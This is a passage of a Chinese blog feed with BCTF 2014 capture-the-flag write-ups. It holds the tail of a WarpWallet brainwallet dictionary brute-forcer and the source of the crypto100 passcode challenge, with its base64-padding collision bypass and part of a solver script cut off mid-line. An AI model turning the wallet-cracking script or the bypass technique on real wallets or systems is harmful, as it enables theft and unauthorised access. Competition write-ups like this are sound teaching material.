binascii.hexlify(salt) + <span class="string">"02"</span></span><br><span class="line">    pbkdf2\_salt = binascii.unhexlify(hexlified\_salt)</span><br><span class="line">    out = pbkdf2.pbkdf2(secret=pbkdf2\_key, salt=pbkdf2\_salt, keylen=self.dklen,</span><br><span class="line">                        rounds=self.pbkdf2\_count, prf=<span class="string">'hmac\_sha256'</span>)</span><br><span class="line">    <span class="keyword">return</span> out</span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="keyword">def</span> <span class="title">_sxor</span> <span class="params">(self, s1, s2)</span>:</span></span><br><span class="line">    <span class="comment"># Convert strings to a list of character pair tuples,</span></span><br><span class="line">    <span class="comment"># go through each tuple, converting them to ASCII code (ord),</span></span><br><span class="line">    <span class="comment"># perform exclusive or on the ASCII code,</span></span><br><span class="line">    <span class="comment"># then convert the result back to ASCII (chr),</span></span><br><span class="line">    <span class="comment"># merge the resulting array of characters as a string.</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">''</span>.join(chr(ord(a) ^ ord(b)) <span class="keyword">for</span> a,b <span class="keyword">in</span> zip(s1,s2))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">parse_args</span><span class="params">()</span>:</span></span><br><span class="line">  parser = argparse.ArgumentParser()</span><br><span class="line">  parser.add\_argument(<span class="string">"-c"</span>, <span class="string">"--pbkdf2\_count"</span>,</span><br><span class="line">                      help=<span class="string">"iteration count"</span>,</span><br><span class="line">                      type=int,</span><br><span class="line">                      default=<span class="number">2</span>**<span class="number">16</span>)</span><br><span class="line">  parser.add_argument(<span class="string">"-d"</span>, <span class="string">"--dklen"</span>,</span><br><span class="line">                      help=<span class="string">"derived key length"</span>,</span><br><span class="line">                      type=int,</span><br><span class="line">                      default=<span class="number">32</span>)</span><br><span class="line">  parser.add\_argument(<span class="string">"-n"</span>, <span class="string">"--scrypt\_power"</span>,</span><br><span class="line">                      help=<span class="string">"2^n passed as the 'N' param to scrypt"</span>,</span><br><span class="line">                      type=int,</span><br><span class="line">                      default=<span class="number">18</span>)</span><br><span class="line">  parser.add\_argument(<span class="string">"-p"</span>, <span class="string">"--scrypt\_p"</span>,</span><br><span class="line">                      help=<span class="string">"'p' param to scrypt"</span>,</span><br><span class="line">                      type=int,</span><br><span class="line">                      default=<span class="number">1</span>)</span><br><span class="line">  parser.add\_argument(<span class="string">"-r"</span>, <span class="string">"--scrypt\_r"</span>,</span><br><span class="line">                      help=<span class="string">"'r' param to scrypt"</span>,</span><br><span class="line">                      type=int,</span><br><span class="line">                      default=<span class="number">8</span>)</span><br><span class="line">  parser.add_argument(<span class="string">"-P"</span>, <span class="string">"--passphrase"</span> ,</span><br><span class="line">                      help=<span class="string">"passphrase"</span>,</span><br><span class="line">                      type=str)</span><br><span class="line">  parser.add_argument(<span class="string">"-S"</span>, <span class="string">"--salt"</span> ,</span><br><span class="line">                      help=<span class="string">"salt"</span>,</span><br><span class="line">                      type=str)</span><br><span class="line">  args = parser.parse_args()</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> <span class="keyword">not</span> args.passphrase:</span><br><span class="line">    <span class="keyword">print</span> <span class="string">"Must provide passphrase (-P)"</span></span><br><span class="line">    sys.exit(<span class="number">1</span>)</span><br><span class="line">  <span class="keyword">if</span> <span class="keyword">not</span> args.salt:</span><br><span class="line">    <span class="keyword">print</span> <span class="string">"Must provide salt (-S)"</span></span><br><span class="line">    sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> args</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> \_\_name\_\_ == <span class="string">"\_\_main\_\_"</span>:</span><br><span class="line">    f = open(<span class="string">"c300dict.txt"</span>, <span class="string">'r'</span>)</span><br><span class="line">    <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">        strpass = line.strip()</span><br><span class="line">        salt = <span class="string">'robotum.ctf@gmail.com'</span></span><br><span class="line">        wallet = WarpWallet(<span class="number">2</span>**<span class="number">16</span>, <span class="number">32</span>, <span class="number">18</span>,<span class="number">1</span>, <span class="number">8</span>)</span><br><span class="line">        str = wallet.warp(strpass, salt)</span><br><span class="line">        <span class="keyword">if</span> str == <span class="string">'1Atk95NnaQDiegEkqjJvg6c2KkJbSr2BEL'</span>:</span><br><span class="line">            <span class="keyword">print</span> <span class="string">'get!'</span>, strpass</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">print</span> line</span><br></pre></td></tr></table></figure><p>然后签名发邮件就ok啦，注意按题目要求的格式发。 <a href="http://p2pbucks.com/tools/brainwallet/index.html#sign" target="_blank" rel="noopener">http://p2pbucks.com/tools/brainwallet/index.html#sign</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;比特币钱包: 300 描述&lt;/p&gt;
&lt;p&gt;来到中国后，米特尼克 身无分文了，怎样赚一大笔钱以备不时之需呢？比特币的爆发引起了他的注意。FBI 从丝绸之路缴获的大量比特币成了他的目标，他也想借此机会嘲笑一下 FBI。不费吹灰之力，他就搞定了这笔比特币巨款。你知道他是怎么搞定的
      
    
    </summary>
    
      <category term="writeups" scheme="https://blog.eadom.net/categories/writeups/"/>
    
    
      <category term="writeup" scheme="https://blog.eadom.net/tags/writeup/"/>
    
      <category term="bctf" scheme="https://blog.eadom.net/tags/bctf/"/>
    
  </entry>
  
  <entry>
    <title>BCTF2014线上赛crypto100混沌密码锁writeup</title>
    <link href="https://blog.eadom.net/writeups/bctf2014-crypto100-writeup/"/>
    <id>https://blog.eadom.net/writeups/bctf2014-crypto100-writeup/</id>
    <published>2014-04-02T07:24:25.000Z</published>
    <updated>2025-11-21T12:45:50.760Z</updated>
    
    <content type="html"><![CDATA[<p>BCTF结束了。。。有点可惜吧。。。那个窃密木马因为一个小错误到手的300分就这样没了。。。不然还能进前十的- -  </p><p>题目 混沌密码锁: 100 描述</p><p>据 传说，米特尼克进任何门都是不需要钥匙的，无论是金锁银锁还是密码锁。使用伪造身份在BAT安全部门工作的时候，有一扇带着密码锁的大门吸引了他的注意。 门后面到底藏着什么呢？米特尼克决定一探究竟。 <a href="http://bctf.cn/files/downloads/passcode_396331980c645d184ff793fdcbcb739b.py" target="_blank" rel="noopener">http://bctf.cn/files/downloads/passcode_396331980c645d184ff793fdcbcb739b.py</a> 218.2.197.242:9991 218.2.197.243:9991 passcode_396331980c645d184ff793fdcbcb739b.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="comment">#\-\*\- coding:utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> base64,binascii,zlib</span><br><span class="line"><span class="keyword">import</span> os,random</span><br><span class="line"></span><br><span class="line">base = \[str(x) <span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">10</span>)\] + \[ chr(x) <span class="keyword">for</span> x <span class="keyword">in</span> range(ord(<span class="string">'A'</span>),ord(<span class="string">'A'</span>)+<span class="number">6</span>)\]</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">abc</span><span class="params">(str)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> sha.new(str).hexdigest()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">bin2dec</span><span class="params">(string_num)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> str(int(string_num, <span class="number">2</span>))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">hex2dec</span><span class="params">(string_num)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> str(int(string_num.upper(), <span class="number">16</span>))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dec2bin</span><span class="params">(string_num)</span>:</span></span><br><span class="line">    num = int(string_num)</span><br><span class="line">    mid = \[\]</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">if</span> num == <span class="number">0</span>: <span class="keyword">break</span></span><br><span class="line">        num,rem = divmod(num, <span class="number">2</span>)</span><br><span class="line">        mid.append(base\[rem\])</span><br><span class="line">    <span class="keyword">return</span> <span class="string">''</span>.join(\[str(x) <span class="keyword">for</span> x <span class="keyword">in</span> mid\[::<span class="number">-1</span>\]\])</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dec2hex</span><span class="params">(string_num)</span>:</span></span><br><span class="line">    num = int(string_num)</span><br><span class="line">    mid = \[\]</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">if</span> num == <span class="number">0</span>: <span class="keyword">break</span></span><br><span class="line">        num,rem = divmod(num, <span class="number">16</span>)</span><br><span class="line">        mid.append(base\[rem\])</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="string">''</span>.join(\[str(x) <span class="keyword">for</span> x <span class="keyword">in</span> mid\[::<span class="number">-1</span>\]\])</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">hex2bin</span><span class="params">(string_num)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> dec2bin(hex2dec(string_num.upper()))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">bin2hex</span><span class="params">(string_num)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> dec2hex(bin2dec(string_num))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">reverse</span><span class="params">(string)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> string\[::<span class="number">-1</span>\]</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">read_key</span><span class="params">()</span>:</span></span><br><span class="line">    os.system(<span class="string">'cat flag'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">gb2312</span><span class="params">(string)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> string.decode(<span class="string">'gb2312'</span>)</span><br><span class="line"></span><br><span class="line">answer=<span class="string">'78864179732635837913920409948348078659913609452869425042153399132863903834522365250250429645163517228356622776978637910679538418927909881502654275707069810737850807610916192563069593664094605159740448670132065615956224727012954218390602806577537456281222826375'</span></span><br><span class="line"></span><br><span class="line">func_names = \[<span class="string">'fun1'</span>, <span class="string">'fun2'</span>, <span class="string">'fun3'</span>, <span class="string">'fun4'</span>, <span class="string">'fun5'</span>, <span class="string">'fun6'</span>, <span class="string">'fun7'</span>, <span class="string">'fun8'</span>, <span class="string">'fun9'</span>\]</span><br><span class="line"></span><br><span class="line">f=&#123;&#125;</span><br><span class="line"></span><br><span class="line">f\[<span class="string">'fun1'</span>\]=reverse</span><br><span class="line">f\[<span class="string">'fun2'</span>\]=base64.b64decode</span><br><span class="line">f\[<span class="string">'fun3'</span>\]=zlib.decompress</span><br><span class="line">f\[<span class="string">'fun4'</span>\]=dec2hex</span><br><span class="line">f\[<span class="string">'fun5'</span>\]=binascii.unhexlify</span><br><span class="line">f\[<span class="string">'fun6'</span>\]=gb2312</span><br><span class="line">f\[<span class="string">'fun7'</span>\]=bin2dec</span><br><span class="line">f\[<span class="string">'fun8'</span>\]=hex2bin</span><br><span class="line">f\[<span class="string">'fun9'</span>\]=hex2dec</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">check_equal</span><span class="params">(a, b)</span>:</span></span><br><span class="line">    <span class="keyword">if</span> a == b:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> int(a) == int(b):</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">print</span> <span class="string">"Welcome to Secure Passcode System"</span></span><br><span class="line">    <span class="keyword">print</span> <span class="string">"First, please choose function combination:"</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">print</span> <span class="string">"2"</span></span><br><span class="line">    <span class="keyword">for</span> in1 <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">10</span>):</span><br><span class="line">        <span class="keyword">for</span> in2 <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">10</span>):</span><br><span class="line">            <span class="keyword">for</span> in3 <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">10</span>):</span><br><span class="line">                <span class="keyword">for</span> in4 <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">10</span>):</span><br><span class="line">                    in1=str(in1)</span><br><span class="line">                    in2=str(in2)</span><br><span class="line">                    in3=str(in3)</span><br><span class="line">                    in4=str(in4)</span><br><span class="line">    f1=<span class="string">'fun'</span>+in1\[:<span class="number">1</span>\]</span><br><span class="line">    f2=<span class="string">'fun'</span>+in2\[:<span class="number">1</span>\]</span><br><span class="line">    f3=<span class="string">'fun'</span>+in3\[:<span class="number">1</span>\]</span><br><span class="line">    f4=<span class="string">'fun'</span>+in4\[:<span class="number">1</span>\]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> f1 <span class="keyword">not</span> <span class="keyword">in</span> func\_names <span class="keyword">or</span> f2 <span class="keyword">not</span> <span class="keyword">in</span> func\_names <span class="keyword">or</span> f3 <span class="keyword">not</span> <span class="keyword">in</span> func\_names <span class="keyword">or</span> f4 <span class="keyword">not</span> <span class="keyword">in</span> func\_names:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">'invalid function combination'</span></span><br><span class="line">        exit()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        answer_hash = f\[<span class="string">'fun6'</span>\](f\[<span class="string">'fun2'</span>\](f\[f1\](f\[f2\](f\[f3\](f\[f4\](answer))))))</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">"Wrong function combination, you bad guy!"</span></span><br><span class="line">        exit()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> len(answer_hash) == <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">'You must be doing some little dirty trick! Stop it!'</span></span><br><span class="line">        exit()</span><br><span class="line"></span><br><span class="line">    usercode = raw_input(<span class="string">'Your passcode: '</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        user_hash = f\[<span class="string">'fun6'</span>\](f\[<span class="string">'fun2'</span>\](f\[f1\](f\[f2\](f\[f3\](f\[f4\](usercode))))))</span><br><span class="line">        <span class="keyword">if</span> user\_hash == answer\_hash:</span><br><span class="line">            <span class="keyword">if</span> check_equal(answer, usercode):</span><br><span class="line">                <span class="keyword">print</span> <span class="string">"This passcode has been locked, please use the new onen"</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="keyword">print</span> <span class="string">"Welcome back! The door always open for you, your majesty! "</span></span><br><span class="line">                read_key()</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">print</span> <span class="string">"Sorry, bad passcode.n"</span></span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">"Sorry, bad passcode. Please try again."</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> \_\_name\_\_ == <span class="string">'\_\_main\_\_'</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>这个程序就是我们自选f1-f4四种函数answer=’78864179732635837913920409948348078659913609452869425042153399132863903834522365250250429645163517228356622776978637910679538418927909881502654275707069810737850807610916192563069593664094605159740448670132065615956224727012954218390602806577537456281222826375’ answer_hash = f[‘fun6’](f[‘fun2’](f[f1](f[f2](f[f3](f[f4](answer)))))) 然后将我们输入的usercode做同样变化 user_hash = f[‘fun6’](f[‘fun2’](f[f1](f[f2](f[f3](f[f4](usercode)))))) 相等即可通过（usercode不能与answer相同）。 如果输入的函数组合不符要求会”Wrong function combination, you bad guy!”  首先用暴力的方法求出函数的组合，只有唯一一种 f1=’fun3’ f2=’fun5’ f3=’fun1’ f4=’fun4’  下面是关键</p><p>经过f[f1](f<a href="f[f3](f[f4](usercode">f2</a>))之后是一个BASE64的串，然后用fun2进行base64解密，再通过fun6生成hash f[f1](f<a href="f[f3](f[f4](answer">f2</a>)) = ‘ztLU2s/rxOPU2s/rztLKssO0tcTTw7nIuOi3rdLrv8+2qNK7teOyu7rD08O7ucrHsfDTw8HLv7TV4r7ku7C+wL3hy8DE4771tcPE2A==’ 解 码后f<a href="f&lt;a href=">f1</a>“&gt;’fun2’ = ‘xcexd2xd4xdaxcfxebxc4xe3xd4xdaxcfxebxcexd2xcaxb2xc3xb4xb5xc4xd3xc3xb9xc8xb8xe8xb7xadxd2xebxbfxcfxb6xa8xd2xbbxb5xe3xb2xbbxbaxc3xd3xc3xbbxb9xcaxc7xb1xf0xd3xc3xc1xcbxbfxb4xd5xe2xbexe4xbbxb0xbexc0xbdxe1xcbxc0xc4xe3xbexf5xb5xc3xc4xd8’   参考<a href="http://zh.wikipedia.org/zh-cn/Base64" target="_blank" rel="noopener">http://zh.wikipedia.org/zh-cn/Base64</a> Base64是一种基于64个可打印字符来表示二进制数据的表示方法。 转 换的时候，将三个byte的数据，先后放入一个24bit的缓冲区中，先来的byte占高位。数据不足3byte的话，于缓冲区中剩下的bit用0补足。 然后，每次取出6（因为2^6=64）个bit，按照其值选择 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/中的字符作为编码 后的输出。不断进行，直到全部输入数据转换完成。 当原数据长度不是3的整数倍时, 如果最后剩下两个输入数据，在编码结果后加1个“=”；如果最后剩下一个输入数据，编码结果后加2个“=”；如果没有剩下任何数据，就什么都不要加，这样才可以保证资料还原的正确性。   回到题中，最后四位是‘2A==’，对应为110110 000000 000000 000000(不足的填0了) 因为两个’=’所以三个比特中的后两个是没有数据的，只有前8个bit对应数据x90   那如果是’2B==’呢，对应为110110 000001 000000 000000 后面的数据是无用的，有用的依然是前8bit 对应x90   so……‘ztLU2s/rxOPU2s /rztLKssO0tcTTw7nIuOi3rdLrv8+2qNK7teOyu7rD08O7ucrHsfDTw8HLv7TV4r7ku7C+wL3hy8DE4771tcPE2B==’ 通 过base64解码的结果和 ‘ztLU2s/rxOPU2s /rztLKssO0tcTTw7nIuOi3rdLrv8+2qNK7teOyu7rD08O7ucrHsfDTw8HLv7TV4r7ku7C+wL3hy8DE4771tcPE2A==’ 是 相同的 后面就简单啦，逆回去求usercode就好啦。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="comment">#\-\*\- coding:utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#BCTF_Crypto100</span></span><br><span class="line"><span class="comment">#ROIS_yufan</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> base64,binascii,zlib</span><br><span class="line"><span class="keyword">import</span> os,random</span><br><span class="line"></span><br><span class="line">base = \[str(x) <span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">10</span>)\] + \[ chr(x) <span class="keyword">for</span> x <span class="keyword">in</span> range(ord(<span class="string">'A'</span>),ord(<span class="string">'A'</span>)+<span class="number">6</span>)\]</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">abc</span><span class="params">(str)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> sha.new(str).hexdigest()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">bin2dec</span><span class="params">(string_num)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> str(int(string_num, <span class="number">2</span>))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">hex2dec</span><span class="params">(string_num)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> str(int(string_num.upper(), <span class="number">16</span>))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dec2bin</span><span class="params">(string_num)</span>:</span></span><br><span class="line">    num = int(string_num)</span><br><span class="line">    mid = \[\]</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">if</span> num == <span class="number">0</span>: <span class="keyword">break</span></span><br><span class="line">        num,rem = divmod(num, <span class="number">2</span>)</span><br><span class="line">        mid.append(base\[rem\])</span><br><span class="line">    <span class="keyword">return</span> <span class="string">''</span>.join(\[str(x) <span class="keyword">for</span> x <span class="keyword">in</span> mid\[::<span class="number">-1</span>\]\])</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dec2hex</span><span class="params">(string_num)</span>:</span></span><br><span class="line">    num = int(string_num)</span><br><span class="line">    mid = \[\]</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">if</span> num == <span class="number">0</span>: <span class="keyword">break</span></span><br><span class="line">        num,rem = divmod(num, <span class="number">16</span>)</span><br><span class="line">        mid.append(base\[rem\])</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="string">''</span>.join(\[str(x) <span class="keyword">for</span> x <span class="keyword">in</span> mid\[::<span class="number">-1</span>\]\])</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">hex2bin</span><span class="params">(string_num)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> dec2bin(hex2dec(string_num.upper()))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">bin2hex</span><span class="params">(string_num)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> dec2hex(bin2dec(string_num))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">reverse</span><span class="params">(string)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> string\[::<span class="number">-1</span>\]</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">read_key</span><span class="params">()</span>:</span></span><br><span class="line">    os.system(<span class="string">'cat flag'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">gb2312</span><span class="params">(string)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> string.decode(<span class="string">'gb2312'</span>)</span><br><span class="line"></span><br><span class="line">answer=<span class="string">'78864179732635837913920409948348078659913609452869425042153399132863903834522365250250429645163517228356622776978637910679538418927909881502654275707069810737850807610916192563069593664094605159740448670132065615956224727012954218390602806577537456281222826375'</span></span><br><span class="line"></span><br><span class="line">func_names = \[<span class="string">'fun1'</span>, <span class="string">'fun2'</span>, <span class="string">'fun3'</span>, <span class="string">'fun4'</span>, <span class="string">'fun5'</span>, <span class="string">'fun6'</span>, <span class="string">'fun7'</span>, <span class="string">'fun8'</span>, <span class="string">'fun9'</span>\]</span><br><span class="line"></span><br><span class="line">f=&#123;&#125;</span><br><span class="line"></span><br><span class="line">f\[<span class="string">'fun1'</span>\]=reverse</span><br><span class="line">f\[<span class="string">'fun2'</span>\]=base64.b64decode</span><br><span class="line">f\[<span class="string">'fun3'</span>\]=zlib.decompress</span><br><span class="line">f\[<span class="string">'fun4'</span>\]=dec2hex</span><br><span class="line">f\[<span class="string">'fun5'</span>\]=binascii.unhexlify</span><br><span class="line">f\[<span class="string">'fun6'</span>\]=gb2312</span><br><span class="line">f\[<span class="string">'fun7'</span>\]=bin2dec</span><br><span class="line">f\[<span class="string">'fun8'</span>\]=hex2bin</span><br><span class="line">f\[<span class="string">'fun9'</span>\]=hex2dec</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">check_equal</span><span 